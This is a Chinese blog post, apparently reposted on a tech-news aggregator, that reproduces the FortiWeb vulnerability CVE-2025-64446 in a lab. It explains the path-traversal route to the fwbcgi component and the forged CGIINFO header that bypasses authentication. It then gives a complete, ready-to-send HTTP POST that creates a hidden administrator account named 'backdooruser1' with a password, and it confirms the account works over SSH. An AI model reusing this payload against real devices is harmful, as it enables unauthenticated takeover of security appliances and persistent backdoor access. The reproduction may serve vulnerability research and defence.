news 2026/6/15 17:51:00

复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击

复现CVE-2025–64446:Fortinet FortiWeb中的关键漏洞

在这篇短文中,我们将复现CVE-2025–64446,这是Fortinet FortiWeb中的一个关键漏洞。该漏洞的CVSS评分为9.8(关键),影响多个FortiWeb版本,包括7.0、7.2、7.4、7.6和8.0分支。

“从根本上说,FortiWeb CVE-2025–64446漏洞存在的原因是FortiWeb的GUI API处理器在处理之前未能正确验证或清理URL路径。攻击者可以制作一个恶意的HTTP请求,滥用相对路径遍历序列来突破预期的/api/v2.0/路由路径。在易受攻击的系统中,FortiWeb的Apache配置会在解析编码字符或折叠目录遍历标记之前,将任何以/api/v2.0/开头的请求转发到后端CGI处理器。这意味着,如下所示的精心构造的请求可以直接路由到内部的fwbcgi管理组件,而不是合法的API端点。” —— Picus Security

因此,正如Defused团队在X(原Twitter)帖子中所示,我们需要调用或触发如下所示的端点。这是可能的,因为存在路径遍历漏洞。另一个重要组件是“cgi-bin/fwbcgi”。

“CGI的认证函数cgi_auth信任一个名为HTTP_CGIINFO的用户提供头部。该头部包含base64编码的JSON字段,如usernameprofnameloginname。” —— Picus Security

因此,如下面的负载所示(来自X的帖子),我们只需要添加一个名为“CGIINFO”的自定义HTTP请求头部。对于其值,我们可以对{“profname”: “prof_admin”, “vdom”: “root”, “username”: “admin”,”loginname”: “admin”}进行base64编码,以冒充管理员用户。我们不需要知道管理员的密码。

/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

(来自Defused的X账户图片)

我们快速启动了一个Fortinet FortiWeb 8.0.0实例来尝试此漏洞利用。

(目标虚拟机运行在192.168.4.31的图片)

我们可以先在目标虚拟机上运行Nmap,检查有哪些监听端口。

(测试者在目标虚拟机上运行Nmap的图片)

我们还可以先尝试以管理员用户SSH到目标虚拟机,以在利用前检查当前的管理员用户。在FortiWeb CLI中运行“get system admin”。

(我们以管理员用户SSH到目标虚拟机后运行的命令图片)

负载
然后我们可以使用下面的负载来创建一个后门账户,这三个参数(nameaccess-profilepassword)是成功创建账户所需的最少参数。

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1 Host: <目标主机地址> Accept-Encoding: gzip, deflate, br Content-Length: 101 CGIINFO: eyJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsImxvZ2lubmFtZSI6ICJhZG1pbiJ9 Content-Type: application/x-www-form-urlencoded Connection: keep-alive {"data":{"name":"backdooruser1","access-profile":"prof_admin","password":"backdoorpass1"}}

(显示提供给CGIINFO自定义头部的base64值的图片)
(我们用于创建后门账户的负载图片)

最后,我们可以确认后门账户已成功创建。

(我们以backdooruser1用户SSH到目标虚拟机后运行的命令图片)

参考资料:

  • https://www.picussecurity.com/resource/blog/fortiweb-cve-2025-64446-vulnerability-path-traversal-leads-to-remote-code-execution
  • https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/
  • https://nvd.nist.gov/vuln/detail/CVE-2025-58034
  • https://x.com/DefusedCyber/status/1975242250373517373/photo/1
  • https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
  • https://horizon3.ai/attack-research/vulnerabilities/cve-2025-64446/

免责声明:
本博客提供的信息仅用于一般信息目的。虽然我总是力求准确,但某些细节可能不准确,提供的列表也可能不完整。尽管如此,我强烈建议在做出任何决定或采取行动之前,根据行业标准文档和官方来源(上面参考资料部分列出了一些)验证任何关键信息。此处表达的所有观点均为我个人观点,不代表我的雇主的观点或立场。
CSD0tFqvECLokhw9aBeRqtTv15RNmaHdiNZPviuVo928jJlaselhk65nWD039QZriEPK1A5gyFu0XLtW575tlrBbnW/rsV1/m+lpY3hEPCqmof5YgUCgvva1km4GQmVLA/J2t+6hp8+EtWy5cGV5eiHL72Jk4Q2ig8dS+OCcV8VXkciIiKrns9h5MXAJe7G0
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 6:51:07

GESP认证C++编程真题解析 | 202403 一级

​欢迎大家订阅我的专栏&#xff1a;算法题解&#xff1a;C与Python实现&#xff01; 本专栏旨在帮助大家从基础到进阶 &#xff0c;逐步提升编程能力&#xff0c;助力信息学竞赛备战&#xff01; 专栏特色 1.经典算法练习&#xff1a;根据信息学竞赛大纲&#xff0c;精心挑选…

作者头像 李华
网站建设 2026/6/15 7:45:32

基于区块链的虚拟电厂运营平台建设方案:“区块链+虚拟电厂”模式、平台集成数据监控、负荷预测、储能调控等八大功能

本项目基于区块链技术构建虚拟电厂运营平台&#xff0c;聚合工业企业与园区分布式资源&#xff0c;通过智能调度与需求响应提升电网调节能力。平台集成数据监控、负荷预测、储能调控等八大功能&#xff0c;实现能源优化与可信交易&#xff0c;促进清洁能源消纳&#xff0c;降低…

作者头像 李华
网站建设 2026/6/15 7:45:57

计算机小程序毕设实战-基于nodejs+微信小程序的智能垃圾分类和回收系统【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/6/15 13:08:55

Python就业前景好不好?

Python凭借“低门槛广应用”的双重优势&#xff0c;成为当下最具竞争力的编程语言之一。它覆盖数据分析、AI研发、Web开发等多个热门赛道&#xff0c;那么学Python就业前景好吗?以下是详细内容介绍。Python语言具有简单易学、代码可读性高、应用广泛等特点&#xff0c;使其成为…

作者头像 李华
网站建设 2026/6/15 8:55:03

Python编程最好的就业方向是什么?

Python的就业表现一直稳居编程语言第一梯队&#xff0c;凭借场景广、门槛低的优势成为求职热门。它覆盖AI、数据分析、Web 开发等多个高薪赛道&#xff0c;岗位需求年均增长显著&#xff0c;应届生与转行人群都能找到适配机会。那么Python编程最好的就业方向是什么?请看下文。…

作者头像 李华
网站建设 2026/6/15 8:54:00

Linux文件权限777和755的区别!

Linux 文件权限是系统安全的核心基石&#xff0c;它通过严格的权限划分&#xff0c;决定了不同用户、用户组对文件和目录的访问、修改、执行权限&#xff0c;直接关系到系统的稳定性与数据安全。那么Linux文件权限777和755的区别是什么?请看下文。Linux文件权限使用三位数字来…

作者头像 李华